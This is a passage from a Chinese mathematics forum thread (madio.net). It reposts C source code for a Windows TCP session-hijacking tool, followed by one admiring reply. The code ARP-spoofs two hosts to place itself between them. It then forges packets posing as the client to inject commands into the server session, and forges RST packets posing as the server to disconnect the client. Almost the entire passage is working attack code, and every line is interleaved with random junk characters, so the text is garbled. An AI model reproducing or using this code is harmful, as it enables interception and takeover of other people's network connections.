. Z) z* D, G8 F  X- h: h3 g    if(pTmp-&gt;bActive)
. A, y8 z" Z& u+ E0 e' i; X/ G, S    {
. S" f0 j& _9 I+ l( c6 v2 B* w8 D5 I      //found it
" @$ i1 _( e) ]      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
" d8 R1 o) X" S3 M        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
" W+ m; F/ o$ c        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
9 X! K+ b, p5 z9 A; `- |% i! S  X        (pTmp-&gt;uClientPort == uClientPort) ) / ~* m' P/ _4 C" ~7 N* T
      { , ?3 x- J; M1 U8 o+ s# q
        if(bDelete)
$ c, D& J. t% k' O, m3 ^+ ]        { # a" B/ ~% A1 t) d' E. r- a
          pTmp-&gt;bActive = FALSE;
5 p5 X! ]  G0 k. ~3 J          return 0; 2 T4 J4 ?& b( Y( l7 b8 L
        }
" F& J% B7 E! ]! X8 b8 d        else return pTmp-&gt;ident; , w. d$ b& o" `7 X6 D
      }
9 X7 F+ M7 C. R1 n    }
9 \* V0 D  F( V, g$ E2 u# N: \    pTmp = pTmp-&gt;Next; ! X) }' i: \' H- @' P' [
  }
$ K* K+ w( G6 d& K+ h3 I  //not found, create new node ; }/ z. \) r: m3 |# Q; \
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) ) & U; ]$ h: g% y1 ?) F; \) B) W( v
  {
2 S# q/ @0 @& d  Q- V* \2 L    //search unactive note
4 k- l" R! J' S    pTmp = g_pConnHead;
3 f( R8 P7 H% S    while(pTmp) / Z- {0 Z' e; d* R
    {
; }2 V$ F. s% f0 O: Z  ?      if(!pTmp-&gt;bActive) break; 1 h- L( o! S8 Z# O4 c2 c. `& g
      pTmp = pTmp-&gt;Next;
4 c2 Q: S; y/ T* Z- C    } 8 [* S+ b, P/ G, X5 P6 K9 I
    //found a unactive node
/ T3 N- ~% S5 M6 y9 t# s    if(pTmp)
. E) h4 T  u" P    {
/ }( i/ E' ^* ^' \% B8 |9 N: Z% J      pTmp-&gt;dwServerIP = dwServerIP;
! j3 {9 ^7 G1 c# X      pTmp-&gt;uServerPort = uServerPort; 7 e6 q+ p8 v) }7 u: D" V6 v% N" S  X! ^; f
      pTmp-&gt;dwClientIP = dwClientIP;
- {# T  y+ p) Z: k. z6 J5 [      pTmp-&gt;uClientPort = uClientPort; ' D1 _0 J% }8 `7 ?" U, {
      pTmp-&gt;bActive = TRUE;
, U( L0 |1 D$ t! U3 a      return pTmp-&gt;ident; 6 z: u* z4 \) J9 H0 w' [
    } # X" C3 P( W. r! b
    //not found,create new node
- d6 Q4 D* ?6 Q, j* f( y    pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); & Q# p! ?7 i, O4 n
    if(!pNew) ) F# ^; E  B: h1 l9 |
    { " }) {0 t$ ~5 X/ \1 ~
      printf("malloc for link node error:%d\n", GetLastError());
1 E. X0 D0 p  j2 w3 i      return 0;
! o' k1 H/ H# @! P# i9 d    }
& R( N  j) H+ U6 j    //fill the struct 6 I$ h& P( e! v! X; L" F1 ]
    pNew-&gt;bActive = TRUE;
: l9 z# \! P8 T( q$ M    pNew-&gt;dwServerIP = dwServerIP;
; P0 p! X0 T3 S    pNew-&gt;uServerPort = uServerPort; - J  \: ~* B' ?7 o# @% l2 H& a
    pNew-&gt;dwClientIP = dwClientIP;
  W( N# d7 S" S/ ]) |/ a+ Y    pNew-&gt;uClientPort = uClientPort; ' ]5 h2 q7 ^% r* b1 H# w: f# n+ b
    pNew-&gt;ident = ++g_ident; ; x7 B3 a* a5 y, Y. J% H
    pNew-&gt;Next = NULL; " T: R3 c  @2 F/ _/ o& J1 i; s5 M- R
    //add new node to link 3 r7 X' v, Q) p) x5 r& c8 d) I, _
    if(!g_pConnHead) 1 ]/ r$ Z+ s. h2 E
      g_pConnHead = g_pConnLast = pNew; ( f$ ?! ~3 u" K2 M1 w6 c
    else
2 N& |( k% p5 v' b* B' U    { ; d0 d: D  b& L( }% V
      g_pConnLast-&gt;Next = pNew; ; F) S* \) d  {9 c+ h) J6 I
      g_pConnLast = pNew;
: E  H, [/ M: H' `% S9 m    }
% j9 t4 s" j1 k& V: b    return pNew-&gt;ident; ( D; B( v! J% U4 {
  }
- f1 {$ G3 A6 n& T; x6 M5 ~  return 0;   L- k6 j. S/ e* j$ T1 o- `
} * J6 S3 A- c0 M* T  j, b: F7 o
/ q  F# K# ^* u/ A( U; g
//
% f$ K8 ~- d, H8 q, r//功能:判断一个数据包是不是只有ACK标志 ; W- s" @, n( Y3 }" A# A3 U
//
7 y. x, G6 A% mBOOL IsACKPacket(unsigned char flag)
( `3 ]* i$ N! h{
& I7 W) ^* u( f8 I' B0 G* q& G4 o  int  i, j=1; / f& ^2 s7 |* o5 ^9 e, d
  for(i=0 ; i&lt;4; i++)
( f  x" L; u6 v; G, J& E2 U  {
6 W& E) Z3 x3 y; F4 }    if(flag &amp; j) return FALSE;
9 g0 \, p7 T" @2 t( ]9 Z9 r/ W    j &lt;&lt;= 1;
3 y+ t# Z8 ?6 t  } # J3 C. E0 Q$ \6 c6 P! H
  if(!(flag &amp; 0x10)) return FALSE;//is ack? 1 W: i/ |: V+ B- _
  if(flag &amp; 0x20) return FALSE;
: Q( |8 a6 E' b  A  return TRUE;
; M3 n4 K. R. k) h0 Q/ ~6 y+ C}
, s8 I8 K- P. t9 L' v6 K* M! W5 m) g) F8 G. r; S9 s. N
// - s1 }- K. ]" k! t
//功能:伪装成Client给Server发送数据包
) g4 h. I4 g5 Q" E// ( v1 _9 l2 N% f  V
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
& P# c& Z! T. r# K  g6 g$ R  [/ E{ ; @! _6 y2 p- |' `; p

" {6 d8 u* p+ a2 H! A0 r+ p  char    szBuff[1520];
7 Y) q: E: _1 d1 d( D0 B  PSDHDR    psdhdr;
/ A* c  ^" k! @$ F- L1 m5 w9 z  PTCPPACKET  pHiJackPacket = NULL;
* s" i- m" k) G6 b  h  BOOL    bRet = FALSE;
4 y! b9 n# T. T4 B: u4 r8 w& Z
! `2 n6 B1 b- z% G; W& \, M  __try 1 \; _+ r+ \; m
  {
! l8 G( R8 ~  V; C7 b) {    // 9 i; a( S2 q" W# H/ s) t- J4 g: F- M
    if(!g_pCurrCtrlConn) __leave; 4 J& c! N3 [- t/ f3 T4 G) q0 X
    //allocate memory for hijack packet
5 |) v* k) j- s    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); ) L1 o; W) g9 V7 p6 T# F
    if(!pHiJackPacket) & z/ u' M0 d0 Y3 C( u# \
    {
' p! w/ @9 [8 Z7 O3 Q, d4 w      printf("malloc error:%d\n", GetLastError()); , P; D. u5 T. B1 A: a) C! ]
      __leave; 6 l4 Q& v$ B' E7 H! @3 M
    } ; t; N+ G; ]$ O
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
2 h4 x! [2 I6 N% H! B# r# {    //-------------- modify the packet ---------------//
: ^% Z* N7 v+ Q    //modify ethernet head
+ j/ q  n% A$ {* u; E    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
- Y; e1 R( M# {6 Y2 D    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); / F+ g) j, N2 ?8 U+ @/ T! N8 C& |
    //modify ip head
' X1 ^* `% N- x3 I  k( B+ K& T    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
" _% G$ |- b/ {  b9 Q( c& ?    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
3 K0 M, ^6 L' ]: `+ Q' |+ W8 X    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
1 f/ B9 j; _) n0 O* D    pHiJackPacket-&gt;iphdr.checksum = 0;
1 h: v7 C) X8 U# `+ u9 r) Y: S    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client
% _, X: J7 [0 r8 \0 J/ {0 T6 `    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
+ P1 ?! j! y" k1 E; Z/ _    //modify tcp head
  k3 w9 b. l  G: P    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port , M5 E* b  x7 k" @
    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port , a  v' w7 Q, R! l7 a0 Q# v" z" h, n
    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
7 g% B* O! M/ I! ~! Y, ~! W) S    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA 2 |- V! E. V2 R! f
    pHiJackPacket-&gt;tcphdr.th_sum = 0; 5 X4 i2 l/ S7 U( `# h: [
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44; , H( a( t+ h! p# H
    //fill tcp psd head 4 n( X; Y# B3 _! E
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
3 [7 j% y; W6 v: m; U3 u6 Y    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           & _7 ^! k( J7 k; v
    psdhdr.mbz = 0; ) x6 ]( i3 g4 }, y7 k
    psdhdr.ptcl = IPPROTO_TCP; 6 ?& B9 z2 A4 [4 L
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
% E# r& G3 m3 j    //calculate tcp checksum     
0 a6 y" t$ [: [7 f8 y* O    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   ' X7 h7 l" m) m3 W
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR)); : w* U; g1 E8 g$ y$ h
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
3 g* w4 }: x6 u- j    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); , z. z( L; n1 U/ ^' Z' J
    //calculate IP checksum 8 u3 [+ G8 \4 Z' j" S5 Q
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR)); " C9 R+ p: Z# y$ T& v
    //fill send buffer           
% Q9 F9 i5 \7 i7 Y7 \/ e" `7 h8 G9 H9 p    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
  }9 R+ x. G2 v    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
8 P! e; f3 Z$ k* i& ~% T, L    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); 4 W; u% O$ K( I9 S8 L9 o+ V- ~
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); . C' i. r5 D# @* L2 G
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); 3 d9 }( f5 \7 L6 v/ v
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) ) w- |/ s; s4 q; j& p( r
    {
1 o* T$ G* Y* W( M7 \6 z      printf("Error sending the hijack packets!\n"); ! O1 u/ z6 _1 S+ W- k6 Q
      __leave; 6 |% P& F: X4 R: H4 U
    } 0 s) M  w2 j2 _; w
    else printf("Send hijack packet ok!\n"); ! I& r  t( a2 H) m
    bRet = TRUE;
; i9 Y+ I" G& o, [/ h7 t  }
作者: 韩冰    时间: 2004-11-21 01:47
__finally
' J5 k& A) Q; R) S3 {, R9 Q; i( _' a  {
$ j4 s2 |; D' P, ]$ C" u" ?    if(pHiJackPacket) free(pHiJackPacket);
) A4 R" f' J3 v" v8 i6 ~" p  V8 W  }
3 ~5 |8 ~$ U/ R( t, S7 F4 a  return bRet;
6 }% s! F  B, ^  {: P% @}
( u; e/ s9 B+ C
8 ]6 q1 Q2 X& a5 [
& p% E) ?; t7 s. R2 o// / O2 x; G, ]- w3 X; E8 r
//功能:伪装成Server给Client发送rst包
4 Z  w8 Z+ y' ~% |//
) B1 y7 M9 [' u& ~" m6 ABOOL SendRstPacket(unsigned int seq, unsigned int ack) 9 E& B1 i+ h; \8 a8 Y
{ 6 B) h3 q  R* W9 {$ i
  char    szBuff[60];
0 w: w7 o, l0 q9 ]+ }8 h- t+ Z' A  PSDHDR    psdhdr; 3 c' Q" c! `" ^( \! u5 f
  PTCPPACKET  pTcpPacket = NULL;
$ P  m- |$ X/ [3 E- B  BOOL    bRet = FALSE; 5 v* A0 g. W. m% O# N. n
- P; [0 k& `% z9 @" ]# W
  __try
; D# j+ O* x$ L3 Y# n! n. d; e5 b; `  {
  R3 `# ]1 A; o4 X" W' C2 v5 c& a    //检查当前指向想控制的连接的信息的指针是否为空
6 E- s. e9 m) C; y# @3 F; q9 N    if(!g_pCurrCtrlConn) __leave;
4 O; W- d5 a1 ^# _: R5 q    //allocate memory for rst packet
  [  k! v5 j# u, k    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
5 G: u3 l9 A- h* {    if(!pTcpPacket)
" N3 {1 n  ~' i" `3 \+ A" a    {
# L  h7 [0 ^6 m" j1 p      printf("malloc error:%d\n", GetLastError());
" P6 o5 |" u6 h$ U# Z      __leave; # ]1 P8 f6 q; s; k; C4 N9 M5 I
    } 3 C5 H- J4 z3 Q) |+ N- F) M
    //fill ethernet head
% Q/ u7 H* X3 w1 a3 O7 Q3 {' `    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6); 9 Q$ A. j: y- `! F7 o
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
. U6 m% f+ ^( w) k9 r8 l* O) j    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
9 R' {9 c+ R3 v! ~    //fil ip head
. M# k! ?. N. M# \5 ]( d2 R    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
7 x& u. h9 R0 a3 k. d4 I    pTcpPacket-&gt;iphdr.tos = 0;
2 a! B5 W# A5 I. h- R) s    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
( ^: S8 a0 f4 o9 `8 h) R, {# U8 E! T    pTcpPacket-&gt;iphdr.ident = 1; 4 t( S9 Z, W4 k+ c
    pTcpPacket-&gt;iphdr.frag_and_flags = 0; - c' `8 t. `) C. u) b
    pTcpPacket-&gt;iphdr.ttl = 128;
- x) ^+ J/ ^; A* x; s5 E! }    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP; ; Q( A  ]9 I0 w1 d7 d0 R
    pTcpPacket-&gt;iphdr.checksum = 0;
. E- N, O  M3 V" {4 K2 K' m    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 ( }  G/ q% r& ?3 g. Z  p
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
1 I2 F& D3 g) y: ]    //fill tcp head 2 k! n+ Z% e4 t* Z) L8 \2 v: D% r
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口
! ?2 G' o" C- Y+ z. D. E; H    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
* Z; L2 [# i- L( i2 i0 y: K4 `7 R    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN ' n" V2 T8 O7 c. E8 h  X
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
3 D9 H* S  i. c    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
: k( n" E  R4 ^% o% _    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag ; u/ v  ~; A" c2 {- F' D2 V
    pTcpPacket-&gt;tcphdr.th_win = 0;
; F6 g4 _" E8 n    pTcpPacket-&gt;tcphdr.th_urp = 0; # C/ D/ \( n- o  l% `5 r) f, ^
    pTcpPacket-&gt;tcphdr.th_sum = 0;
& O# u6 z9 Y* Q, n* G/ e    //fill tcp psd head
) s3 u  {- L  j$ C2 ~, h# i9 Z! l    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           $ O/ G: c- C  l* {+ L
    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
9 V0 a1 q( \1 u; u, ^" X# T# E    psdhdr.mbz = 0; 2 \" d% ?  t6 Z/ p. a* Z% D! O. _
    psdhdr.ptcl = IPPROTO_TCP;
6 J: Z0 p& _* r6 c$ e: b8 T    psdhdr.tcpl = htons(sizeof(TCPHDR)); 9 V$ f% ?  D3 r. g8 b; O+ X) S9 G
    //calculate tcp checksum     8 L, p6 J5 d4 {2 D$ L7 o$ O
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   9 b8 S" h# P- h: G
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR)); * |- i+ Y5 m5 w+ ^: }% L8 ], u5 n! _
    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
$ _- l0 [+ g" e; ~* ?2 J- l    //calculate IP checksum
+ g1 i1 I8 Z# h9 u% h+ v    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR)); : [; Z3 _5 z: a( R7 H8 P1 [
    //fill send buffer   t/ D4 y* B. ~) P1 n6 l6 M' Z
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); & l4 r, L5 s) J- [/ r6 b
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); 7 ^3 L  }5 q1 D  U+ `& x
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
# B7 L& k5 e4 f& l5 M6 a- \    { & k8 F' G) ^* q7 T7 K
      printf("Error sending the rst packets!\n");
; c" J+ q3 |1 {( R) v) N      __leave; ' p7 @& r0 e& m* E
    } # V9 ]' m# ]7 u" ~) E1 o7 _# K
    else printf("Send RST packet ok!\n");
& k) L( j9 ^5 g% X    bRet = TRUE; : u4 V5 p8 y6 }8 A
  } - }3 f& `3 [4 N: {3 g. H3 @
  __finally . t- Y# A& y* H6 ^/ U& K7 M% j
  { . o! j: C: D0 F9 E' p
    if(pTcpPacket) free(pTcpPacket);
1 T: C: H! O. j2 L  }
- k$ T& j4 D  @$ V9 c# w4 f# A& F2 E  return bRet;
5 u6 o8 m7 Y: Q% N2 S6 c}
! n. u( C6 q( Y4 u+ D9 ^. E" |3 L. R# V! I  D1 f9 ?$ q  W  X. q  a
// : V) m+ A% [) ?  ^( F( _$ N4 H
//功能:计算校验和 % G. y  s$ f( A
//   r& y4 t) s# C3 w& [) u; W
USHORT checksum(USHORT *buffer, int size) ; R3 d. m. R  J% t  ^
{ ! i0 ]% y5 c: E! X( h
unsigned long cksum=0;
- ?  [6 d/ m" a9 ~( V+ w5 T% I while(size &gt;1) {
0 b1 V5 D) Y- E, e/ R: u  cksum+=*buffer++; + @- b% {* g8 `+ U- `% F
  size -=sizeof(USHORT);
2 Z4 p# B2 |5 ^6 v0 {* Q }
3 n& i9 K3 R$ O# i; j6 H if(size ) { 5 I; f: z0 q1 k3 a& C+ L( A( ^
  cksum += *(UCHAR*)buffer; ! n$ L. H! }4 X" n
}
8 v  B! |( ]! U/ A  d, U9 d cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff); ! W7 i; y) l/ B0 l9 H
cksum += (cksum &gt;&gt;16); # m" h6 p% o" `- G9 K) ~3 B/ j6 D
return (USHORT)(~cksum);
9 x# r5 H, {: ?}
& ~& i1 Z$ {- Z  w7 M6 Z! O7 F6 n8 K
+ @/ r4 v7 q3 Q6 x& D//
7 L0 {2 }4 L  i//功能:实施ARP欺骗
: L0 J1 d1 U- q- r+ |//1 告诉ServerSide,ClientSide的mac是ownmac + a0 G; |' Z7 F. P3 w0 Y
//2 告诉ClientSide,ServerSide的mac是ownmac
  o" E! K3 [0 [3 Y4 \//
, o- l8 q7 M3 d! t7 P6 A3 V9 T1 \DWORD WINAPI ArpSpoofThread(LPVOID lpType) - n8 c8 |/ {) W0 y, \8 u: ~4 Q
{   n) Q. A2 w) K! `3 C* S$ B5 Q
  int  iType = *(int *)lpType;
4 a* s, H8 @; r& Y  ARPPACKET  ArpPacket;
: ~0 X) ^' N& W- _- E  LPPACKET  lpArpPacket; , V$ j; i3 z5 f/ s
  char    szArpBuff[60]; 8 p* ~1 z) w4 f
1 n: ?8 J, c* G: Q) A0 @
  switch(iType)
5 y& T5 q/ `6 Z! Q2 A  {
& r/ i/ O, G2 O( a* Z1 }% \4 V    case 1: , M( @& y5 w, G
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
( d" i: M% |& e' {3 w  \0 y      ArpPacket.arphdr.DestIP = g_ServerSideIP;
2 O  t) c8 a4 o# O% M8 }6 U$ P      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
% `% l$ D2 f5 E4 E, t2 Y      break;
( @$ g  s& l. X" T2 R4 d5 u, l    case 2: , V# @) p0 y, l+ ^7 K
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
% {( z5 ^! N/ g- w9 B, T      ArpPacket.arphdr.DestIP = g_ClientSideIP; ) |5 ^9 k3 T% Q+ L
      ArpPacket.arphdr.SourceIP = g_ServerSideIP; 2 _" U8 c6 Z' x* m* E- ?6 |
      break; - R% ]7 v& c) S/ E: p" a! O0 [
    default:
3 ?0 X) m& h" @/ V      return 0; + U+ C" l. D2 b4 J' l
  } 8 Z, ]4 f1 J3 z! w; K1 b# ?
  //ethernet head $ j- ]( w; R% a4 a5 X
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
( V; F2 ]4 @* Z7 ^  Q) M  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type ! ~: D/ o; D' `/ _* e
  //arp head
- Q/ \7 y0 }0 H& \4 [0 j* T  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac   O& x; o$ o+ g* s
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
- A) @7 h/ g' c* K  ArpPacket.arphdr.HrdAddrlen = 6; ; R# G: R& r# O; e6 F- u/ f# k, B
  ArpPacket.arphdr.ProAddrLen = 4;
7 K6 x5 q: R) t* n3 p' O! N; ~* |  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
1 z+ |. F- h1 {  t  ArpPacket.arphdr.ProType = htons(EPT_IP); 1 Y7 q  b3 g6 ^" D! O2 `
  ArpPacket.arphdr.op = htons(2);//arp reply
8 y9 C9 B# @$ Y4 L6 f1 W! Y7 t# N% e. U" u# o! x: _
  lpArpPacket = PacketAllocatePacket(); 5 N( S8 u& S4 X* S5 b+ j* K
  if(lpArpPacket == NULL)
/ ^7 X+ {/ i5 s  { $ ]' U# P2 \8 m0 g2 H
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); ; ?6 y0 I1 G$ F. j* ^- p
    return 0; 6 v7 ^. Q: @) U# m2 r0 p. c4 [
  } % v5 a+ {9 h: }- ~2 F7 r
  memset(szArpBuff, 0, sizeof(szArpBuff)); 0 E6 {3 }, ?1 n- G5 g
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); 7 f6 @$ Q6 T* a1 R$ u
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
; Y" g4 Q' ?( d, R8 Z; P$ r  //send arp packet + a9 g" ^* z7 x, Z
  while(1) . N& V5 _4 Y  ]* J2 G
  { 4 }: _" x( @" Q7 {
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
. e3 Y( d1 d4 d  j! l8 J    {
" Y1 F0 D' K6 E% @. @; d      printf("Error sending the arp spoof packets!\n");
9 @, N3 M" B6 e2 W, D      return 0;
* I7 N8 y* r1 o0 d3 G3 E    }
5 ?3 B& \7 f: e) N  f    Sleep(1000);
0 X' l$ L- l  |" i4 X0 U  } / h* B9 p' T1 N$ l
  return 0;
( @+ O9 p5 G7 s& f. V5 n& q6 c+ f} ( G$ i4 `- j5 v) m4 }6 U' w3 d
; v7 ~) s6 r) m8 m
// ! ^% Q7 Q$ A7 T/ _! {7 I3 c9 [5 }* B
//功能:输入IP取得对应的MAC地址
7 k9 ?) D4 ]' W' K- n" ]//
/ }1 m8 O' W. D. nBOOL GetMACAddr(DWORD DestIP, char *pMAC) 6 D6 a( I) v' W! Y& {1 M4 x' o
{ 2 t$ u- p3 _1 S
  DWORD  dwRet;
% y) M4 c! f1 g% ~/ l) M5 j  ULONG  ulLen = 6, pulMac[2]; : G) @7 Z: B* ]" ^
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
4 g5 d) v% P- o/ Q: [0 b9 f' R  if(dwRet == NO_ERROR)
3 c0 g, F+ _$ ~  L; A7 Q6 C9 d  {
# d: L5 Z2 W# P6 c) k8 v: n4 K    memcpy(pMAC, pulMac, 6); / c9 t$ x2 N, J2 u
    return TRUE; , i. P: v* s3 |2 I& ^
  }
) L* O1 O$ t6 Z3 V6 o  else return FALSE; 5 H$ B6 i7 i1 q" s" \$ j7 a  D
}
作者: wy617958197    时间: 2014-9-4 20:48
大侠好厉害啊




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5